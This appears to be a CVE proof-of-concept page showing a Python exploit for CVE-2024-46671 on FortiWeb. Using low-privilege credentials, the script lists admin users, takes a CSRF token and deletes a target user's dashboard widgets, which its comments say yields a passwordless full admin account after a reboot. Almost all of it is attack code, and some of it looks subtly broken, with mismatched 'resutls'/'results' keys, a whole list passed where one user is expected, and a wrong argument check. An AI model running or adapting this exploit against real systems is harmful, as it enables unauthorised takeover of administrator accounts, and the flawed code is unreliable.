5585 Total CVEs
26 Years
GitHub
README.md
README.md not found for CVE-2024-46671. The file may not exist in the repository.
POC / CVE-2024-46671.py PY
import requests as r
import sys
import warnings

# ignoring warnings of cert
warnings.filterwarnings('ignore')


# init vars
LOGIN_PATH = "/logincheck"
API_USERS_LIST = "/api/v2.0/cmdb/system/admin"
API_WIDGETS_ENDPOINT = "/api/v2.0/system/status.dashboard_widget?mkey={}&sub_mkey={}"
API_SYSTEM_STATE = "/api/v2.0/system/state"
users = []



def banner():
    banner = """
   ______     _______     ____   ___ ____  _  _         _  _    __    __ _____ _ 
  / ___\ \   / / ____|   |___ \ / _ \___ \| || |       | || |  / /_  / /|___  / |
 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____| || |_| '_ \| '_ \ / /| |
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____|__   _| (_) | (_) / / | |
  \____|  \_/  |_____|   |_____|\___/_____|  |_|          |_|  \___/ \___/_/  |_|                                                                   
                                                                                By MEGHNINE islem
"""
    print(banner)




def validate_url(url):
    if ("https://") in url:
        return url
    else:
        if "http://" in url:
            url = url.split("http://")[1]
            return "https://" + url
        return "https://" + url

def init_req():
    return r.Session()

def test_connection(url):
    res = r.get(url, verify=False)
    if  res.status_code == 200:
        return True
    else:
        return False

def is_vulnerable(req, url):
    res = req.get(url + API_SYSTEM_STATE, verify=False)
    system = res.json()['resutls']['config']
    if system['CONFIG_MAJOR_NUM'] <= 7:
        if system['CONFIG_BUILD_NUMBER'] == 638:
            print("[+] Vulnerable")
            return True
        else:
            print("[+] May be vulnerable")
            return True
    else:
        print("[-] Not vulnerable")
        return False

def get_cookies(req, url, username, password):
    data = {"ajax":1, "username":username, "secretkey":password}
    res = req.post(url+LOGIN_PATH,data,verify=False)
    return res.text

def get_users_list(req,url):

    res = req.get(url + API_USERS_LIST,verify=False)

    for user in res.json()['results']:
        #if user['access-profile'] == "prof_admin": # filter only priv admins
        users.append(user['name'])
    print("[+] Users found successfully")
    return users

def get_csrf_token(req,url):
   res = req.get(url + API_SYSTEM_STATE, verify=False)
   system = res.json()
   if system['status'] == "success":
       return system['resutls']['admin']['csrf_token']

# this exploit will trigger 2 vulnerabilities (after reboot)
#   - Arbitrary account deletion
#   - Creation of a fresh admin account (full premissions) with none password
def delete_widgets(req, url, target_user, token):
    headers = {
                "Content-Type": "application/json", 
                "X-Csrftoken": str(token)
            }
    data = {}
    mkey = f"sys_{target_user[2]}_1_root" # crafting mkey with default VDOM and dashboard id
    for w_id in range(1,20): # blindly removing all widgets
        furl = url + API_WIDGETS_ENDPOINT.format(mkey, w_id)
        res = req.delete(furl,json=data,headers=headers,verify=False)
        if res.json()['errcode'] == '0':
            print(f"[+] widget {w_id} deleted successfully")
        else:
            print("[-] Error deleting widget, exiting exploit ...")
            exit()

if __name__ == "__main__":
   banner()

   n = len(sys.argv)

   if (n < 3):
       print("Usage: CVE-2024-46671.py IP USERNAME PASSWORD")
   else:
       url = validate_url(sys.argv[1])
       if (not test_connection(url)):
           print("[+] FortiWeb is DOWN")
           exit()
       else:
           print("[+] FortiWeb is UP")

           req = init_req()

           if "1" in get_cookies(req, url, sys.argv[2], sys.argv[3]):
               print(f"[+] Connected as user {sys.argv[2]} successfully")

               if not is_vulnerable(req,url):
                   exit()

               users = get_users_list(req,url)
               
               token = get_csrf_token(req,url)

               delete_widgets(req,url,users,token)

               print("[+] exploit finished successfully, waiting for fortiweb reboot then login with username=admin&password=")

           else:
               print(f"[-] Error authenticating as {sys.argv[2]}")
               exit(0)